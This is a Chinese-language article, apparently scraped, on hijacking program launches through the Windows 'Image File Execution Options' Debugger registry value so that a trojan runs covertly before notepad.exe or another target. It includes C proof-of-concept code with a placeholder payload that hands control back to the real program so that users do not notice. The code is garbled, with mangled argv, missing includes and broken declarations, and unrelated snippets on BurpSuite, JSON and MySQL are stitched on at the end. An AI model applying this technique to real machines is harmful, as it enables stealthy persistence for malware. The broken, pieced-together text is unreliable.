一種另類檔案關聯方法的研究

2021-12-29 22:05:03 字數 3677 閱讀 5922

文/圖 彭毅

檔案關聯方法較早由「冰河」程式實現。「冰河」為了達到自我保護目的,進行了txt和exe檔案關聯。在普通程式開啟字尾名為.txt和.exe檔案時,首先開啟「冰河」程式,執行完既定功能後,再把相關引數(如要開啟的文字檔案名)傳遞給.txt預設的開啟程式(如notepad.exe)。具體實現就是修改登錄檔項:「hkey_classes_root xtfileshellopencommand」的reg_expand_sz型別值。系統該值預設為:「%systemroot%system32notepad.exe %1」,其中「%1」即代表需要開啟的文字檔案名。「冰河」程式的這種關聯方式影響了很多後來的木馬後門程式,當然,也成了防毒軟體重點關注的物件。有沒有另外的方法來進行程式的關聯操作呢?

solomon和russinovich的著作:《windows 2000內部揭秘》深入的**了系統方方面面的設計和實現問題。在討論「createprocess流程」一節中,russinovich指出,程式通過createprocess建立程序時,首先第一步是開啟要執行的映像(具體參考本書相關章節)。具體就是createprocess找到合適的win32映像,比如win32程式是win32還是win16、ms-dos、posix或者os/2等等,進而會選擇合適的載入器來進行win32映像的載入。找到有效的win32可執行映像後,createprocess會在登錄檔hklmsoftwaremicrosoftwindows ntcurrentversionimage file execution options 下檢視是否有乙個帶有可執行映像的檔名和副檔名的子鍵(如是否有notepad.exe表項),如果有,則createprocess會在該表項中尋找名為debugger的值。如果該值非空,則執行該值中描述的字串(比如你的後門程式backdoor.exe),並且從階段1重新開始。這裡的階段1就是上面我們看到的:createprocess會重新開啟要執行的映像,這很重要,後面我們會看到。

書中russinovich還提到,「如果你偶爾想搞個惡作劇,就可以使用這個行為來迷惑人們,當它們要執行指定的檔案時卻執行了另外的檔案」。如果你不是想搞惡作劇,而是想程式關聯,那這個位置也是後門木馬理想的溫床。我們先看一下這個登錄檔項,如圖1所示,可以看到這個登錄檔項存在很多專案,這麼多項難免可以讓我們渾水摸魚,替換我們需要的程式。大家可能都用過russinovich的程序檢視程式process explorer(www.sysinternals.com),程式中有乙個選單項為「replace task manager」,也就是替換windows系統自帶程序檢視程式task manager(taskmgr.exe)。這是怎麼做到的呢?其中乙個偷梁換柱的技巧就是修改這個登錄檔項,也就是russinovich所說的「惡作劇」程式,如圖2所示。

圖1圖2注意看圖2中的debugger表項,它的值已被替換成process explorer的可執行程式procexp.exe了。現在大家心裡都很清楚了,我們的檔案關聯只需在image file execution options登錄檔項下面加入需要替換的檔名,這裡我們就加入notepad.exe,然後為其增加乙個reg_sz型別的debugger值,在其中新增木馬程式的路徑,如「c: rojan.exe」,就萬事大吉了。下面我們就編寫乙個測試程式看一下實現效果,**如下。

#include

#include

#include

//#define debug

int _tmain( int argc, lptstr ar** )

;// prepare for createprocess parameters

startupinfo si;

process_information pi;

zeromemory( &si, sizeof(si) );

si.cb = sizeof(si);

zeromemory( &pi, sizeof(pi) );

// place your trojan code here... :)

messagebox(null,_t("you are hacked!"),_t("warning"),0);

// trojan code end

_tcscat(szcmdline, ar**[1]);

_tcscat(szcmdline, _t(" "));

_tcscat(szcmdline, ar**[2]);

#ifdef debug

_tprintf(_t("%s

"), szcmdline); 

getch();

#endif

// start the child process.

if( !createprocess( null,   // no module name (use command line)

szcmdline,  // command line

null,   // process handle not inheritable

null,   // thread handle not inheritable

false,  // set handle inheritance to false

0,  // no creation flags

//create_no_windows,// no windows !!!

//create_new_process_group,

null,   // use parents environment block

null,   // use parents starting directory

&si,// pointer to startupinfo structure

&pi )   // pointer to process_information structure

) #ifdef debug

// wait until child process exits.

waitforsingleobject( pi.hprocess, infinite );

#endif

// close process and thread handles.

closehandle( pi.hprocess );

closehandle( pi.hthread );

return 0;

}//end

程式很簡單,首先執行我們的後門程式,這裡執行了乙個對話方塊,**為「messagebox(null,_t("you are hacked!"),_t("warning"),0);」;接下來,執行完成以後,我們還要把程式預設的步驟完成。比如程式通過這樣的方式「notepad.exe foo.txt」來開啟乙個名為foo.txt的文字檔案。所以我們要得到這個引數,並且正常執行它,這樣我們的程式才能神不知鬼不覺的執行,達到潛行的目的。

我們得到關聯引數的程式如下:

_tcscat(szcmdline, ar**[1]);

_tcscat(szcmdline, _t(" "));

_tcscat(szcmdline, ar**[2]);

大家可能會問,ar**[1]和ar**[2]是什麼呢?ar**[1]是系統預設關聯的開啟程式,這裡就是notepad.exe;而ar**[2]就是將要開啟的文字檔案名,如foo.txt。因為程式是簡單的測試,所以沒有對輸入引數個數進行檢測。如果測試程式沒有進行關聯操作單獨執行,就會發生崩潰(可能沒有輸入引數),這裡大家要注意。

好了,得到引數以後,開始呼叫createprocess執行,程式完成。我們測試一下,結果如圖3所示。

BurpSuite SQLmap的一種另類掃瞄

過年之後就忙的團團轉。三月開始可以輕鬆一些,抽空寫寫最近瞎折騰的東西,本文只是描述工具的一種使用方法,無技術含量。ps 這種做法,網上也有很多教程,本文只為記錄 1 記錄proxy的log,選擇log路徑 2 關掉攔截 3 設定瀏覽器 保持與burpsuite一致 4 對 發請求 直接點說,就是到處...

一種另類的讀取 json 資料方式

valueerror expecting property name enclosed in double quotes line 1 column 2 char 1 在做 scrapy 爬蟲時,獲取的資料存入 json 時有些資料格式不對,導致各種問題。不僅是字元編碼,還有格式。搜了半天的解決辦法...

mysql關聯子查詢的一種優化方法分析

很多時候,在mysql上實現的子查詢的效能較差,這聽起來實在有點難過。特別有時候,用到in 子查詢語句時,對於上了某種數量級的表來說,耗時多的難以估計。本人mysql知識所涉不深,只能慢慢摸透個中玄機了。假設有這樣的乙個exist程式設計客棧s查詢語句 sxpxpqfezeelect from ta...